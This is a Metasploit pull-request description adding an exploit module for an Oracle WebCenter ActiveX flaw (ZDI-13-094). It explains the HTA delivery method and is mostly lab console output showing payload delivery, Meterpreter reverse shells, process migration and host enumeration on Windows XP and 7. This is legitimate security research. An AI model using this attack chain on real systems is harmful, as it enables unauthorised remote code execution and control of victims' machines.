rapid7/metasploit-framework — pull request #1890 by jvazquez-r7 (2013-06-01 20:49:57+00:00)
Title: Add module for ZDI-13-094

tested successfully with the CheckOutAndOpenControl ActiveX installed with Oracle WebCenter Content 11.1.1.6.0 on Windows 8 for XP SP3 and W7 SP1.

The delete warning happens because the process hasn't migrate still at the moment of deletion (on_new_session).

On the other hand, it's just an attack vector. Indeed the ActiveX will call ShellExecuteExW after resolving which executable to use to solve the provided extensions.

I like the HTA solution because mshta allows to provide URLs as parameters. Other file extensions allow SMB URIs as parameters, but since in the metasploit framework we just simulate SMB resource with webdav, the exploit limits to targets having the WebClient service enable (only enabled by default on XP SP3). So atm I liked the HTA solution. Anyway I'm open to feedback :)

```
msf exploit(oracle_webcenter_hta) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.0.3:4444
[*] Using URL: http://192.168.172.1:8080/xKRTvm0mqpAt7s
[*] Server started.
msf exploit(oracle_webcenter_hta) > [*] 192.168.172.203 oracle_webcenter_hta - Request received for /xKRTvm0mqpAt7s
[*] 192.168.172.203 oracle_webcenter_hta - Sending HTML
[*] 192.168.172.203 oracle_webcenter_hta - Request received for /xKRTvm0mqpAt7sfueB.hta
[*] 192.168.172.203 oracle_webcenter_hta - Encoding payload into vbs/javascript/hta...
[*] 192.168.172.203 oracle_webcenter_hta - Sending HTA application
[*] Sending stage (751104 bytes) to 192.168.0.3
[*] Meterpreter session 3 opened (192.168.0.3:4444 -> 192.168.0.3:53916) at 2013-06-01 15:35:41 -0500
[-] Failed to delete C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\mYgvcia.exe
[*] Session ID 3 (192.168.0.3:4444 -> 192.168.0.3:53916) processing InitialAutoRunScript 'migrate -f -k'
[*] Current server process: mYgvcia.exe (1760)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 4060

msf exploit(oracle_webcenter_hta) > sessio[+] Successfully migrated to process
[*] Killing original process with PID 1760
n[+] Successfully killed process with PID 1760
s

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
3 meterpreter x86/win32 JUAN-C0DE875735\Administrator @ JUAN-C0DE875735 192.168.0.3:4444 -> 192.168.0.3:53916 (192.168.0.3)

msf exploit(oracle_webcenter_hta) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > getuid
Server username: JUAN-C0DE875735\Administrator
meterpreter > sysinfo
Computer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.0.3 - Meterpreter session 3 closed. Reason: User exit
msf exploit(oracle_webcenter_hta) >
[*] 192.168.172.196 oracle_webcenter_hta - Request received for /xKRTvm0mqpAt7s
[*] 192.168.172.196 oracle_webcenter_hta - Sending HTML
[*] 192.168.172.196 oracle_webcenter_hta - Request received for /xKRTvm0mqpAt7swVE.hta
[*] 192.168.172.196 oracle_webcenter_hta - Encoding payload into vbs/javascript/hta...
[*] 192.168.172.196 oracle_webcenter_hta - Sending HTA application
[*] Sending stage (751104 bytes) to 192.168.0.3
[*] Meterpreter session 4 opened (192.168.0.3:4444 -> 192.168.0.3:53923) at 2013-06-01 15:41:05 -0500
[-] Failed to delete C:\Users\JUANVA~1\AppData\Local\Temp\mYgvcia.exe
[*] Session ID 4 (192.168.0.3:4444 -> 192.168.0.3:53923) processing InitialAutoRunScript 'migrate -f -k'
[*] Current server process: mYgvcia.exe (1276)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3732
[+] Successfully migrated to process
[*] Killing original process with PID 1276
[+] Successfully killed process with PID 1276

msf exploit(oracle_webcenter_hta) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
4 meterpreter x86/win32 WIN-RNJ7NBRK9L7\Juan Vazquez @ WIN-RNJ7NBRK9L7 192.168.0.3:4444 -> 192.168.0.3:53923 (192.168.172.196)

msf exploit(oracle_webcenter_hta) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > sysinfo
Computer : WIN-RNJ7NBRK9L7
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit -y
[*] Shutting down Meterpreter...

[*] 192.168.172.196 - Meterpreter session 4 closed. Reason: User exit
msf exploit(oracle_webcenter_hta) >

```